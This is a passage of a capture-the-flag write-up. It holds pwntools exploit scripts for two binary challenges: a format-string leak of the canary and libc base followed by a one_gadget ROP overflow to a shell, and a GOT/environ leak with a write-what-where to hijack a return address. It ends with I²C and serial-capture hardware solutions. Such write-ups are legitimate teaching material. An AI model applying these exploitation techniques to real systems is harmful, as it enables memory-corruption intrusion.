    select_menu('1')

    progress.status("selecting weapon format string attack")
    conn.recvuntil('> ')
    conn.send(b'%%%d$p' % index);
    conn.recvuntil(b"Your choice is: ")

    progress.status("computing value")
    value = conn.recvline()
    value = value[:len(value) - 8]
    value = 0 if value == b"(nil)" else int(value, 16)
    return value

The first thing we want to retrieve is the canary to not trigger the overflow check failure.

def retrieve_canary():
    with log.progress("retrieving canary") as progress:
        return format_exploit(progress, 11)

The second thing we need to retrieve is the libc base address. To do this we can go through the stack to find return addresses, until we find the main return address, we can continue and we see where does the main function returns inside the __libc_start_main function. Meaning we've an address and can easily find the offset so we know the libc base address.

def retrieve_libc_base_address():
    with log.progress("retrieving libc base address") as progress:
        libc_start_main_return = 0x21bf7
        base = format_exploit(progress, 21)
        libc.address = base - libc_start_main_return

Now that we know the canary and the libc base address we need to prepare ourself by having the right amount of pie.

def drop_pie(amount):
    with log.progress("dropping pies") as progress:
        progress.status("opening inventory menu")
        select_menu('2')

        progress.status("choose to drop some pies")
        conn.recvuntil('> ')
        conn.sendline('y')

        progress.status("drop specified amount")
        conn.recvuntil('> ')
        conn.sendline(amount)

drop_pie('-11')

Finally we can do the overflow, the only problem is: where to return ? We can only return to one address. For this, one_gadget exists. If we provide the libc we're using, it gives us a list of return address that can open a shell.

Now that we know one of this super duper cool addresses we can forge our payload.

def retrieve_shell():
    with log.progress("retrieving a shell") as progress:
        progress.status("opening stare menu")
        select_menu('3')

        progress.status("forging rop")
        rop = b"A" * (0x30 - 0x8)
        rop += p64(canary)

        # This value is not important
        rop += p64(0x1234567890abcdef)

        # 0x4f3d5 is the offset to open a shell with a single rop
        # See: https://github.com/david942j/one_gadget
        rop += p64(libc.address + 0x4f3d5)

        progress.status("sending rop")
        conn.recvuntil('> ')
        conn.send(rop)

        progress.status("remove error message")
        conn.recvlines(2)

Now, with a shell, all we need to do is to cat the flag!

Pwn - Save the environment

This challenge is similar to minefield as we have a write what where condition and a win function.

Unfortunately we can't just do the same exploit again.

In this challenge you can recycle things in exchange of recycling point, with at least 10 recycling points we can ask to leak an arbitrary address.

So first thing we need to do is to farm these recycling points.

def farm_recycling():
    with log.progress("farming recycling") as progress:
        for i in range(0, 10):
            progress.status("recycling number %d" % i)
            prompt_answer("2")
            prompt_answer("1")
            prompt_answer("n")

Then we'll leak the libc base address by leaking the content of the got table.

def leak_libc_base():
    with log.progress("leak libc base address") as progress:
        progress.status("sending payload")
        conn.recvuntil("> ")
        conn.send(b"0x%x" % elf.got["puts"])
        conn.recv(4)

        progress.status("computing libc base address")
        leak = conn.recvline().strip()
        leak = u64(leak.ljust(8, b"\x00"))
        libc.address = leak - libc.symbols["puts"]

The objective will be to overwrite the stack to return to the win function, the only problem is we don't know where the stack is. For this we can use the environ inside the libc because by default it points to our stack.

def leak_environ():
    with log.progress("leak environ from libc") as progress:
        progress.status("go to recycling menu")
        prompt_answer("2")
        prompt_answer("1")
        prompt_answer("y")

        progress.status("sending payload")
        conn.recvuntil("> ")
        conn.send(b"0x%x" % libc.symbols["environ"])
        conn.recv(4)

        progress.status("computing environ")
        environ = conn.recvline().strip()
        environ = u64(environ.ljust(8, b"\x00"))
        return environ

Now we need to find the offset from environ to one of the return address. If we find it, we can overwrite it to return to anywhere.

Because the environ is at the top of the stack, we need to search to the bottom (from infinity to zero). And here it is, 36 qword away from environ the return address of one function.

All we need now is to overwrite this address with the win function.

def write_what_where(what, where):
    with log.progress("write what where") as progress:
        progress.status("go to plant menu")
        prompt_answer("1")

        progress.status("sending the where")
        conn.recvuntil("> ")
        conn.send(b"0x%x" % where)

        progress.status("sending the what")
        conn.recvuntil("> ")
        conn.send(b"0x%x" % what)

return_address_in_stack = environ - 0x8 * 36
write_what_where(elf.symbols["hidden_resources"], return_address_in_stack)

And here's the flag!

Hw - compromised

For this challenge, we have again a Saleae Logic project. There are 2 channels: dump_logic

This is a I²C communication with channel 0 being SDA and channel 1 SCL, the clock. We can add a I²C analyzer on logic and extract the analysis to dump.txt.

Time [s],Packet ID,Address,Data,Read/Write,ACK/NAK
0.974250660000000,0,4,s,Write,ACK
0.999460300000000,0,4,e,Write,ACK
1.024669880000000,0,4,t,Write,ACK
1.049884460000000,0,4,_,Write,ACK
1.075094020000000,0,4,m,Write,ACK
1.100303660000000,0,4,a,Write,ACK
1.100553640000000,0,COMMA,C,Write,ACK
1.125763220000000,0,4,x,Write,ACK
1.125998200000000,0,COMMA,H,Write,ACK

Then we will use a python script to find the flag.

dump = open('dump.txt', 'r').read().split('\n')

# we follow the COMMA address, found by experimenting both 4 address and COMMA address
print(''.join([s.split(',')[3] for s in dump[1:-1] if "COMMA" in s.split(',')[2]])) # the flag

Hw - Serial logs

For this challenge, we have a Saleae Logic project export. Giving the name of the challenge, and the channel 1, we will use the serial Async with the default settings: dump_img_serial

Some logs appear then in the console:

[...more logs...]
[LOG] Connection from 6edec472e9754574d91f460e170b825bacee5f121b73805dffa4f2a5a7d23d7f
[LOG] Connection from 316636cf0500c22f97fa261585b72a48c4625aca7868f0f6ee253937620ac15c
[LOG] Connection from 4b1186d29d6b97f290844407273044e5202ddf8922163077b4a82615fdb22376
[LOG] Connection from 4b1186d29d6b97f290844407273044e5202ddf8922163077b4a82615fdb22376
[LOG] Connection from 4b1186d29d6b97f290844407273044e5202ddf8922163077b4a82615fdb22376
[ERR] Noise detected in channel. Swithcing baud to backup value

And after this error, there is garbage on the console output. This last message teach us that the channel baud has been changed from 115200 to some unknown value. After tried some common default values without success, we will try to figure out the baud by analysing the capture. For this, we first take a charactere that could be found in the damaged communication. baud_calculation

So the timing for the first bit of communication is 8.48μs. We then compute \( f = \frac{1}{8.48\times 10^{-6}}\) where f is the baud value of the communication (which is roughly like a frequency)

baud_deduction

We then measure the timing of the next first bits. We found a timing of 13.46μs. So by trying the same computation that above, we find a baud of 74294. Trying this setting, the flag appears at the end of the logs.